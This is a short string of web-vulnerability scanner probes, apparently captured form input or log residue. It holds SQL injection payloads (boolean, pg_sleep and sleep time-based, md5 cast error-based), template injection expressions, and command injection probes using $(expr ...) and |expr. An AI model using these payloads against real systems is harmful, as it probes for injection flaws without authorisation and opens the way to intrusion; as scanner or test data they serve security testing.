123456 123456/**/and+2=2 ${817956209+911116005} 123456'/**/and(select'1'from/**/pg_sleep(2))::text>'0 Cube ${(886716383+864588327)?c} 123456'and(select'1'from/**/cast(md5(1080522554)as/**/int))>'0 123456$(expr 806573804 + 854545575) (select*from(select+sleep(0)union/**/select+1)a) 123456|expr 803159512 + 999094364